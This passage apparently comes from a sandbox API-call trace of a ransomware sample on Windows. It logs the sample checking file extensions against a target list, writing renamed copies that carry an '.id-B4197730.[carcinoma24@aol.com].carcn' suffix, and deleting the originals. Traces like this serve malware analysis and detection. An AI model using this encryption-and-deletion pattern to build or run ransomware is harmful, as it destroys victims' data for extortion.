files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0295.807] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=10240) returned 1 [0295.807] CloseHandle (hObject=0x35c) returned 1 [0295.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0295.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.283] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0296.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0296.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0296.283] lstrlenW (lpString=".doc") returned 4 [0296.283] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0296.283] lstrlenW (lpString=".docx") returned 5 [0296.283] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0296.283] lstrlenW (lpString=".pdf") returned 4 [0296.283] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0296.283] lstrlenW (lpString=".xls") returned 4 [0296.283] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0296.283] lstrlenW (lpString=".xlsx") returned 5 [0296.283] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0296.283] lstrlenW (lpString=".ppt") returned 4 [0296.283] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0296.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0296.283] lstrlenW (lpString=".zip") returned 4 [0296.284] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0296.284] lstrlenW (lpString=".rar") returned 4 [0296.284] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0296.284] lstrlenW (lpString=".bz2") returned 4 [0296.284] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0296.284] lstrlenW (lpString=".7z") returned 3 [0296.284] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0296.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0296.284] lstrlenW (lpString=".dbf") returned 4 [0296.284] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0296.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0296.284] lstrlenW (lpString=".1cd") returned 4 [0296.284] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0296.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0296.284] lstrlenW (lpString=".jpg") returned 4 [0296.284] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0296.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0296.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0296.284] lstrlenW (lpString=".doc") returned 4 [0296.284] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0296.284] lstrlenW (lpString=".docx") returned 5 [0296.284] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0296.284] lstrlenW (lpString=".pdf") returned 4 [0296.284] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0296.284] lstrlenW (lpString=".xls") returned 4 [0296.284] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0296.284] lstrlenW (lpString=".xlsx") returned 5 [0296.284] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0296.284] lstrlenW (lpString=".ppt") returned 4 [0296.285] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0296.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0296.285] lstrlenW (lpString=".zip") returned 4 [0296.285] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0296.285] lstrlenW (lpString=".rar") returned 4 [0296.285] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0296.285] lstrlenW (lpString=".bz2") returned 4 [0296.285] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0296.285] lstrlenW (lpString=".7z") returned 3 [0296.285] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0296.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0296.285] lstrlenW (lpString=".dbf") returned 4 [0296.285] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0296.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0296.285] lstrlenW (lpString=".1cd") returned 4 [0296.285] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0296.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0296.285] lstrlenW (lpString=".jpg") returned 4 [0296.285] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0296.285] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0296.285] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0296.285] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0296.286] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=590523) returned 1 [0296.286] CloseHandle (hObject=0x398) returned 1 [0296.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 0x20 [0296.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.286] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0296.287] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.287] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.287] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0296.287] GetLastError () returned 0x0 [0296.287] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x902bb, lpOverlapped=0x0) returned 1 [0296.336] WriteFile (in: hFile=0x338, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x902c0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x902c0, lpOverlapped=0x0) returned 1 [0296.352] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.352] WriteFile (in: hFile=0x338, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x104, lpOverlapped=0x0) returned 1 [0296.352] SetEndOfFile (hFile=0x338) returned 1 [0296.353] CloseHandle (hObject=0x338) returned 1 [0296.353] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.353] SetEndOfFile (hFile=0x398) returned 1 [0296.359] CloseHandle (hObject=0x398) returned 1 [0296.359] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0296.360] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 1 [0296.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0296.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0296.360] lstrlenW (lpString=".doc") returned 4 [0296.360] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0296.360] lstrlenW (lpString=".docx") returned 5 [0296.360] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0296.360] lstrlenW (lpString=".pdf") returned 4 [0296.360] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0296.360] lstrlenW (lpString=".xls") returned 4 [0296.360] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0296.360] lstrlenW (lpString=".xlsx") returned 5 [0296.360] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0296.360] lstrlenW (lpString=".ppt") returned 4 [0296.360] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0296.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0296.360] lstrlenW (lpString=".zip") returned 4 [0296.360] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0296.360] lstrlenW (lpString=".rar") returned 4 [0296.360] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0296.360] lstrlenW (lpString=".bz2") returned 4 [0296.361] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0296.361] lstrlenW (lpString=".7z") returned 3 [0296.361] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0296.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0296.361] lstrlenW (lpString=".dbf") returned 4 [0296.361] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0296.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0296.361] lstrlenW (lpString=".1cd") returned 4 [0296.361] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0296.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0296.361] lstrlenW (lpString=".jpg") returned 4 [0296.361] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0296.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0296.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0296.361] lstrlenW (lpString=".doc") returned 4 [0296.361] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0296.361] lstrlenW (lpString=".docx") returned 5 [0296.361] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0296.361] lstrlenW (lpString=".pdf") returned 4 [0296.361] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0296.361] lstrlenW (lpString=".xls") returned 4 [0296.361] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0296.361] lstrlenW (lpString=".xlsx") returned 5 [0296.361] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0296.361] lstrlenW (lpString=".ppt") returned 4 [0296.361] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0296.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0296.361] lstrlenW (lpString=".zip") returned 4 [0296.362] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0296.362] lstrlenW (lpString=".rar") returned 4 [0296.362] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0296.362] lstrlenW (lpString=".bz2") returned 4 [0296.362] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0296.362] lstrlenW (lpString=".7z") returned 3 [0296.362] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0296.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0296.362] lstrlenW (lpString=".dbf") returned 4 [0296.362] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0296.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0296.362] lstrlenW (lpString=".1cd") returned 4 [0296.362] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0296.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0296.362] lstrlenW (lpString=".jpg") returned 4 [0296.362] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0296.362] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0296.362] lstrlenW (lpString="pkeyconfig.companion.dll") returned 24 [0296.362] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0296.363] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=18624) returned 1 [0296.363] CloseHandle (hObject=0x398) returned 1 [0296.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll")) returned 0x20 [0296.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.363] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0296.364] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.364] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.364] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0296.364] GetLastError () returned 0x0 [0296.364] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x48c0, lpOverlapped=0x0) returned 1 [0297.004] WriteFile (in: hFile=0x338, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x48d0, lpOverlapped=0x0) returned 1 [0297.006] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0297.006] WriteFile (in: hFile=0x338, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x104, lpOverlapped=0x0) returned 1 [0297.006] SetEndOfFile (hFile=0x338) returned 1 [0297.006] CloseHandle (hObject=0x338) returned 1 [0297.006] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.006] SetEndOfFile (hFile=0x398) returned 1 [0297.007] CloseHandle (hObject=0x398) returned 1 [0297.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0297.008] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll")) returned 1 [0297.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0297.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0297.008] lstrlenW (lpString=".doc") returned 4 [0297.008] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.008] lstrlenW (lpString=".docx") returned 5 [0297.008] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0297.008] lstrlenW (lpString=".pdf") returned 4 [0297.008] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.008] lstrlenW (lpString=".xls") returned 4 [0297.008] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.008] lstrlenW (lpString=".xlsx") returned 5 [0297.008] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0297.008] lstrlenW (lpString=".ppt") returned 4 [0297.008] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0297.009] lstrlenW (lpString=".zip") returned 4 [0297.009] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.009] lstrlenW (lpString=".rar") returned 4 [0297.009] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.009] lstrlenW (lpString=".bz2") returned 4 [0297.009] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.009] lstrlenW (lpString=".7z") returned 3 [0297.009] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0297.009] lstrlenW (lpString=".dbf") returned 4 [0297.009] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0297.009] lstrlenW (lpString=".1cd") returned 4 [0297.009] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0297.009] lstrlenW (lpString=".jpg") returned 4 [0297.009] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0297.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0297.009] lstrlenW (lpString=".doc") returned 4 [0297.009] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.009] lstrlenW (lpString=".docx") returned 5 [0297.009] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0297.010] lstrlenW (lpString=".pdf") returned 4 [0297.010] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.010] lstrlenW (lpString=".xls") returned 4 [0297.010] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.010] lstrlenW (lpString=".xlsx") returned 5 [0297.010] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0297.010] lstrlenW (lpString=".ppt") returned 4 [0297.010] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0297.010] lstrlenW (lpString=".zip") returned 4 [0297.010] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.010] lstrlenW (lpString=".rar") returned 4 [0297.010] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.010] lstrlenW (lpString=".bz2") returned 4 [0297.010] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.010] lstrlenW (lpString=".7z") returned 3 [0297.010] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0297.010] lstrlenW (lpString=".dbf") returned 4 [0297.010] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0297.010] lstrlenW (lpString=".1cd") returned 4 [0297.010] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0297.010] lstrlenW (lpString=".jpg") returned 4 [0297.010] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.011] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0297.011] lstrlenW (lpString="VGX.dll") returned 7 [0297.011] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0297.011] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=987136) returned 1 [0297.011] CloseHandle (hObject=0x398) returned 1 [0297.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll")) returned 0x20 [0297.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.012] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0297.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0297.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0297.012] lstrlenW (lpString=".doc") returned 4 [0297.012] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.012] lstrlenW (lpString=".docx") returned 5 [0297.012] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0297.012] lstrlenW (lpString=".pdf") returned 4 [0297.012] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.012] lstrlenW (lpString=".xls") returned 4 [0297.012] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.012] lstrlenW (lpString=".xlsx") returned 5 [0297.012] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0297.012] lstrlenW (lpString=".ppt") returned 4 [0297.012] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0297.012] lstrlenW (lpString=".zip") returned 4 [0297.012] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.012] lstrlenW (lpString=".rar") returned 4 [0297.012] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.012] lstrlenW (lpString=".bz2") returned 4 